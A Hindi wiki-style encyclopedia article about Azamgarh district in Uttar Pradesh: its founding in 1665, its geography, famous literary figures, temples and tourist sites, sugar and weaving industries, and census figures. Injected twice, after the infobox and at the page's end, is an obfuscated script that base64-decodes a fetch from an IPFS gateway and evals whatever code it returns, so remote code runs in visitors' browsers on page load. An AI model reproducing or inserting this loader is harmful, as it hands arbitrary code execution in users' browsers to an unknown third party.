आज़मगढ़

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
आज़मगढ़
नक्शे में आज़मगढ़ की स्थिति
विवरण 'आज़मगढ़' उत्तर प्रदेश में तमसा नदी के तट पर स्थित है। प्राचीन समय से ही यह स्थान ऋषि-मुनियों की पावन भूमि रहा है।
राज्य उत्तर प्रदेश
निर्माता आजम ख़ाँ
स्थापना 1665 ई.
भौगोलिक स्थिति 26°04′N 83°11′E / 26.06, 83.19.
प्रसिद्धि साहित्य, संस्कृति, शिक्षा
पिनकोड 276001
प्रशासनिक भाषा हिन्दी, उर्दू, अंग्रेज़ी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आज़मगढ़ (अंग्रेज़ी: Azamgarh) भारतीय राज्य उत्तर प्रदेश का ज़िला है। 1665 ई. में फुलवारिया नामक प्राचीन ग्राम के स्थान पर आजम ख़ाँ द्वारा इस नगर की स्थापना की गई थी। यहाँ गौरीशंकर का मंदिर 1760 ई. में स्थानीय राजा के पुरोहित ने बनवाया था। तमसा नदी के पावन तट पर स्थित आज़मगढ़ अनेक ऋषियों की पावन पुण्य भूमि है। आज़मगढ़ उत्तर प्रदेश के पूर्वी भाग में स्थित है, जो गंगा और घाघरा के मध्य बसा हुआ है। यह जनपद आदि काल से ही मनीषियों, ऋषियों, चिन्तकों, विद्वानों और स्वतंत्रता सेनानियों की जन्म स्थली रही है। इस जनपद को नवाब आज़मशाह ने बसाया था, इसी कारण इसका नाम आज़मगढ़ पड़ा। 15 नवम्बर, 1994 को चौदहवें मण्डल के रूप में 'आजमगढ़ मण्डल' का सृजन किया गया।

भौगोलिक स्थिति

आजमगढ़ का नाम देश-विदेश में अनजाना नहीं है। उत्तर प्रदेश के पूर्वांचल में स्थित आजमगढ़ ज़िले के साथ-साथ एक मंडल भी है। बताते हैं कि इस शहर की स्थापना लगभग 1665 ई. में विक्रमजीत के पुत्र आजम ख़ाँ ने करवाई थी। आजम ख़ाँ के नाम पर ही यहाँ का नाम आजमगढ़ पढ़ा। शहर की पूर्व दिशा पर तमसा नदी के तट पर आजम ख़ाँ ने एक दुर्ग का निर्माण भी करवाया था। भौगौलिक रूप से देखें तो आजमगढ़ की स्थिति 26°04′N 83°11′E / 26.06, 83.19. पर है। यहां की औसत ऊंचाई है 64 मीटर (209 फीट)।

साहित्य, संस्कृति

आजमगढ़ शहर अपनी साहित्य, संस्कृति, शिक्षा के लिए आरंभ से ही मशहूर रहा है। गंगा और घाघरा नदियों के मध्य बसा तमसा नदी के पवन तट पर स्थित आजमगढ़ अनेक ऋषियों की पुण्यभूमि रही है। आजमगढ़ को यह गौरव प्राप्त है कि वह राहुल सांकृत्यायन, अयोध्यासिंह उपाध्याय 'हरिऔध', मौलाना शिबली नोमानी और कैफ़ी आज़मी जैसे महापुरुषों की जन्म-स्थली रही है। आज भी यहाँ से तमाम राजनेता, प्रशासक, शिक्षाविद, साहित्यकार, कलाकार, व्यवसायी, खिलाडी देश-दुनिया में अपने नाम का डंका बजाते नजर आते हैं। उत्तर प्रदेश के मुख्यमंत्री रहे राम नरेश यादव यहीं की देन हैं, तो चंद्रजीत यादव, अमर सिंह जैसे तमाम चर्चित राजनेता भी यहीं की पैदाइश हैं। मशहूर हिन्दी अभिनेत्री और सोशल एक्टिविस्ट शबाना आज़मी का यहाँ से पुराना रिश्ता है।

पर्यटन स्थल

महाराजगंज

छोटी सरयू नदी के तट पर बसा महाराजगंज ज़िला मुख्यालय से लगभग 23 किलोमीटर की दूरी पर स्थित है। आजमगढ़ में राजाओं की नामावली अधिक लम्बी है, यही वजह है कि इस जगह को महाराजगंज के नाम से जाना जाता है। यहां एक काफ़ी पुराना मंदिर भी है। यह मंदिर भैरों बाबा को समर्पित है। भैरों बाबा को 'देओतरि' के नाम से भी जाना जाता है। इसके अतिरिक्त यह वही स्थान है, जहां भगवान शिव की पत्‍नी पार्वती दक्ष की यजन वेदी में सती हुई थीं। प्रत्येक माह पूर्णिमा के दिन यहां मेले का आयोजन किया जाता है।[1]

मुबारकपुर

मुबारकपुर ज़िला मुख्यालय के उत्तर-पूर्व से 13 किलोमीटर की दूरी पर स्थित है। पहले इस जगह को कासिमाबाद के नाम से जाना जाता था। कुछ समय बाद इस जगह का पुर्ननिर्माण करवाया गया। इस जगह को दुबारा राजा मुबारक ने बनवाया था। यह जगह बनारसी साड़ियों के लिए काफ़ी प्रसिद्ध है। इन बनारसी साड़ियों का निर्यात पूरे विश्व में होता है। इसके अलावा यहां ठाकुर जी का एक पुराना मंदिर और राजा साहिब की मस्जिद भी स्थित है।

मेहनगर

यह जगह ज़िला मुख्यालय के पूर्व-दक्षिण में 36 किलोमीटर की दूरी पर स्थित है। यहां एक प्रसिद्ध क़िला है, जिसका निर्माण राजा हरिबन ने करवाया था। इस क़िले में एक स्मारक और सरोवर है जो कि काफ़ी प्रसिद्ध है। इस सरोवर को मदिलाह सरोवर के नाम से जाना जाता है। प्रत्येक वर्ष सरोवर से तीन किलोमीटर की दूरी पर धार्मिक मेले का आयोजन किया जाता है।

दुर्वासा

यह स्थान फूलपुर तहसील मुख्यालय के उत्तर से 6 किलोमीटर की दूरी पर स्थित है। यह जगह यहां स्थित दुर्वासा ऋषि के आश्रम के लिए काफ़ी प्रसिद्ध है। प्रत्येक वर्ष कार्तिक पूर्णिमा के अवसर पर यहां बहुत बड़े मेले का आयोजन किया जाता है। हज़ारों की संख्या में विद्यार्थी ज्ञान प्राप्त करने यहां आया करते थे।

भवरनाथ मंदिर

यह मंदिर आजमगढ़ ज़िले के प्रमुख मंदिरों में से एक हैं। भवरनाथ मंदिर शहर से दो किलोमीटर की दूरी पर स्थित है। भगवान शिव को समर्पित यह मंदिर लगभग सौ वर्ष पुराना है। माना जाता है कि जो भी सच्चे मन से इस मंदिर में आता है, उसकी मुराद ज़रूर पूरी होती है। महाशिवरात्रि के अवसर पर यहां बहुत बड़े मेले का आयोजन किया जाता है। हज़ारों की संख्या में भक्त इस मेले में एकत्रित होते हैं।

अवन्तिकापुरी

मुहम्मदपुर स्थित अविन्कापुरी काफ़ी प्रसिद्ध स्थान है। ऐसा माना जाता है कि राजा जन्मेजय ने एक बार पृथ्वी पर जितने भी सांप हैं, उन्हें मारने के लिए यहां एक यज्ञ का आयोजन किया था। यहां स्थित मंदिर व सरोवर भी काफ़ी प्रसिद्ध है। काफ़ी संख्या में लोग इस सरोवर में डुबकी लगाते हैं।

कृषि और उद्योग

चीनी की मिलें एवं वस्त्र बुनाई यहाँ के प्रमुख उद्योग हैं। पूर्वोत्तर रेलमार्ग से जुड़े आज़मगढ़ का कृषि योग्य क्षेत्र उर्वक है यहाँ पर्याप्त वर्षा होती है। चावल, गेहूँ और गन्ना यहाँ की मुख्य फ़सलें हैं।

जनसंख्या

आज़मगढ़ की कुल जनसंख्या (2001 की गणना के अनुसार) 1,04,943 है। आज़मगढ़ के कुल ज़िले की जनसंख्या 39,50,808 है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. आजमगढ़ (हिंदी) khojinews.com। अभिगमन तिथि: 11 नवम्बर, 2016।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>